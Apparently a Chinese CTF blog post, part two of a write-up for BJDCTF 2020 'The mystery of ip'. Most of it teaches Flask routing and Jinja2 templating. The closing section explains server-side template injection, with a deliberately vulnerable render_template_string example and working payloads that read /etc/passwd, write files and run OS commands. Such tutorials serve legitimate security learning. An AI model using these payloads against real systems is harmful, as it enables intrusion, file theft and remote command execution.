boxmoe_header_banner_img

困困小猫の秘密基地

加载中

文章导读

[BJDCTF 2020]The mystery of ip WP 与知识详解(二)


avatar
kunkunxiaomao 2026年4月9日 169
选择[BJDCTF 2020]The mystery of ip WP 与知识详解(一)[BJDCTF 2020]The mystery of ip WP 与知识详解(一)

前言

书接上文,我们在编程了第一个 Flask 程序后,相信大家对 Flask 都有了一定的了解,随后就来跟我一起看看接下来的内容吧。

URL 视图

定义 URL

一个网站最重要的就是 URL。这是每一个页面的唯一标识符,只有访问相应的 URL,才能访问对应的。

定义无参 URL

无参数 URL 的定义非常简单,只需要通过 @app.route 即可定义

@app.route("/profile")
def profile():
    return '个人中心'

定义有参 URL

在 URL 上传递参数,有两种形式

  • 定义为 /blog/<id>,那么访问的时候就是 /blog/123 就可以将参数 id=123 传递给视图函数。这种形式叫做 path 传参。
  • 定义为 /blog ,那么访问的时候就是 /blog?id=123 ,也可以将参数 id=123 传给视图函数。这种形式叫做 query string 传参。

path 传参

@app.route("/blog/<int:id>")
def detail(id):
    return f"获取到的 ID 为:{id}"


上述代码我们可以看到参数定义是通过语法:<类型:参数名>的形式传递的,其中类型是可选的,如果设置了,那么在解析参数的时候就会将该参数转换为对应的类型,如果转换失败,那么就会抛出404错误;如果没有设置,那么参数类型就是字符串类型。除了int类型外,还有以下其他类型:

  • string:字符串类型,默认类型。
  • int:整形。
  • float:浮点类型。
  • path:路径。类似string,但是中间即使添加了/,也会将其当做成一个整体。
  • uuid:UUID类型。
  • any:备选值中的任何一个。比如@app.route("/blog/list/<any(python,flask,django):category>"),那么参数category就只能是python、flask和django中的一个,否则就会出现404错误。

这里就不过多举例子了,因为前文已经举过了。

query string 传参

query string 传参在参数定义时与无参数 URL 一样,然后在视图函数中通过 request.args.get(“参数名称”) 来获取参数

from flask import request
from flask import Flask

app = Flask(__name__)

@app.route("/blog")
def detail():
    id = request.args.get("id")
    return f"获取的 ID 为:{id}"

if __name__ == "__main__":
    app.run(debug=True)


在浏览器中可以通过/blog?blod_id=123来访问该视图函数。如果有多个参数需要传递,那么就通过&符号连接,示例代码如下:

from flask import request
from flask import Flask

app = Flask(__name__)

@app.route("/blog/list")
def blog_list():
    page = request.args.get("page")
    size = request.args.get("size")
    return f"获取到的page为:{page},size为:{size}"

if __name__ == "__main__":
    app.run(debug=True)

请求方法

快捷路由装饰器描述
app.get(“/login”)等价于app.route(“/login”,methods=[‘GET’])
app.post(“/login”)等价于app.route(“/login”,methods=[“POST”])
app.put(“/login”)等价于app.route(“/login”,methods=[“PUT”])
app.delete(“/login”)等价于app.route(“/login”,methods=[“DELETE”])
app.patch(“/login”)等价于app.route(“/login”,methods=[“PATCH”])

RESTful

这是一种 API 设计风格,核心思想是:

  • URL 表示资源(用名词)
  • HTTP 方法表示操作:
    • GET:获取资源
    • POST:创建资源
    • PUT:更新资源
    • DELETE:删除资源

代码示例如下:

from flask import Flask
app = Flask(__name__)

# 获取博客列表
@app.get("/blog")
def get_blogs():
    return "获取博客列表"

# 创建新博客
@app.post("/blog")
def create_blog():
    return "创建新博客"

# 获取某篇博客
@app.get("/blog/<int:id>")
def get_blog(id):
    return f"查看博客 {id}"

# 更新博客
@app.put("/blog/<int:id>")
def update_blog(id):
    return f"更新博客 {id}"

# 删除博客
@app.delete("/blog/<int:id>")
def delete_blog(id):
    return f"删除博客 {id}"

重定向


在Flask中,重定向是通过flask.redirect(location,code=302)函数来实现的,location表示需要重定向到哪个URL,code代表状态码,默认是302,也即暂时性重定向。下面我们用一个简单的案例来说明下这个函数的用法。

from flask import Flask,url_for,redirect

app = Flask(__name__)

@app.route('/login')
def login():
    return 'login page'

@app.route('/profile')
def profile():
    name = request.args.get('name')

    if not name:
        # 如果没有name,说明没有登录,重定向到登录页面
        return redirect("/login")
    else:
        return name

Jinjia 2


因此,在Flask中,渲染HTML通常会交给模板引擎来做,而Flask中默认配套的模板引擎是Jinja2,Jinja2的作者也是Flask的作者,Jinja2可以独立于Flask使用,比如被Django使用。Jinja2是一个高效、可扩展的模板引擎。

基本使用

默认会生成一个templates文件夹,如果没有修改模板查找路径,默认会在这个文件夹下寻找模板文件。模板文件可以是任意纯文本格式的文件,比如TXT、HTML、XML等,但是为了让项目更规范,也为了与前端开发者更无缝的协作,一般我们都是用HTML文件来写模板代码。

如果项目中没有生成templates目录,则可以手动创建templates目录。比如我们这里创建一个首页的视图和模板,那么视图函数代码为:

# app.py
from flask import Flask, render_template

app = Flask(__name__)

@app.route("/")
def index():
    # 会在项目根路径下的templates下寻找index.html文件
    return render_template("index.html")

if __name__ == "__main__":
    app.run(debug=True)
//index.html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>首页</title>
  </head>
  <body>
    <h1>这是首页</h1>
  </body>
</html>

渲染变量


在HTML文件中,有些数据是需要从数据库中动态加载的,比如博客列表,不可能新增一篇博客就要修改html的代码,正确的做法是每次用户访问这个博客列表URL时,在视图函数中就读取最新的博客数据,然后把最新的博客数据传递到模板中。这时候就涉及到,在模板中怎么使用变量,比如下面渲染模板的时候,我们就会传入一个hobby参数,示例代码如下:

# app.py
@app.route("/profile")
def profile():
    hobby = "游戏"
    return render_template("profile.html",hobby=hobby)
// index.html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>变量使用</title>
  </head>
  <body>
    <h1>我的兴趣爱好是:{{ hobby }}</h1>
  </body>
</html>


上述代码中,我们使用了{{ 变量名 }}的语法,来读取一个从视图函数中传递过来的变量hobby。


在模板中,也使用对象.属性或字典.key的语法来访问对应的值。比如下面代码传给模板文件有一个user对象和一个person字典。示例代码如下:

class User:
    def __init__(self,username,email):
        self.username = username
        self.email = email

@app.route("/profile")
def profile():
    hobby = "游戏"
    person = {
        "name": "张三",
        "age": 18
    }
    user = User("李四","xx@qq.com")
    return render_template("profile.html",hobby=hobby,person=person,user=user)


然后在profile.html中就可以通过以下方式来访问user.属性和person.key。示例代码如下:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>变量使用</title>
  </head>
  <body>
    <h1>我的兴趣爱好是:{{ hobby }}</h1>
    <p>person的姓名是:{{ person.name }},person的年龄是:{{ person.age }}</p>
    <p>user的用户名是:{{ user.name }},user的邮箱是:{{ user.email }}</p>
  </body>
</html>

控制语句


模板中,也存在if语句和for循环等控制语句。所有的控制语句,都是放在{% %}中间的,并且在控制语句结束后,要加入相应的结束语句。

例如:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>if语句</title>
  </head>
  <body>
    {% if age > 18 %}
      <div>您已成年!</div>
    {% elif age < 18 %}
      <div>您未成年!</div>
    {% else %}
      <div>您刚成年!</div>
    {% endif %}
  </body>
</html>

同时,
if结束后必须跟一个endif语句。另外在模板中的缩进并不是必须的,只是为了代码阅读性更强。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>for循环</title>
  </head>
  <body>
    <table>
      <thead>
        <tr>
          <th>书名</th>
          <th>作者</th>
          <th>价格</th>
        </tr>
      </thead>
      <tbody>
        {% for book in books %}
        <tr>
          <td>{{ book.name }}</td>
          <td>{{ book.author }}</td>
          <td>{{ book.price }}</td>
        </tr>
        {% endfor %}
      </tbody>
    </table>
  </body>
</html>


Jinja2模板中没有continue和break语句,读者需要注意。

模板注入

说了那么多,那么到底什么是模板注入呢?——不正确的使用 flask 中的 render_template_string 方法会引发 SSTI。

当用户输入直接拼接到模板字符串中,Jinja2会把它当作模板代码执行:

# 危险:用户输入被拼接
render_template_string("<h3>" + request.args.get('id') + "</h3>")

# 安全:用户输入作为数据传入
render_template_string("<h3>{{ id }}</h3>", id=request.args.get('id'))

SSTI 基础测试

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

附上一段代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

此时发现表达式被执行,访问 config

文件读取

python 中的魔法函数

__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

构造payload的大致思路是:找到父类<type 'object'>–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模板

  • 首先获取字符串的类对象(获取一个类):
'a'.__class__
<type 'str'>
  • 寻找基类链,找到<typr ‘boject’> 类
'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
  • 寻找 <type ‘object’> 类的所有子类中可用的引用类
 'a'.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

此时就发现有一个 <type ‘file’> 类,所以此时就可以拿他进行读取文件

  • 利用<type ‘file’>的read()方法进行文件读取
'a'.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()

同样命令执行也类似于这么找,python中进行命令执行的模板是os,那么寻找包含os模板的应用类

构造 payload 为:

'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

常用 Payload

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )



评论(2)

查看评论列表
评论头像
猫猫 2026年04月10日
黑客大佬!(°∀°)ノ
评论头像
kunkunxiaomao 博主 2026年04月15日
ohhhhh

发表评论

表情 颜文字
插入代码

欢迎来到小站哦~

avatar

困困小猫

常年看番、打游戏,宅属性满分。不过偶尔也会出去玩啦 我在这里还是个新手,各位大佬来访还请轻一点喷~orz 欢迎光临! 还有一定要看隐私政策哦!!!

66
文章
4
评论
2
用户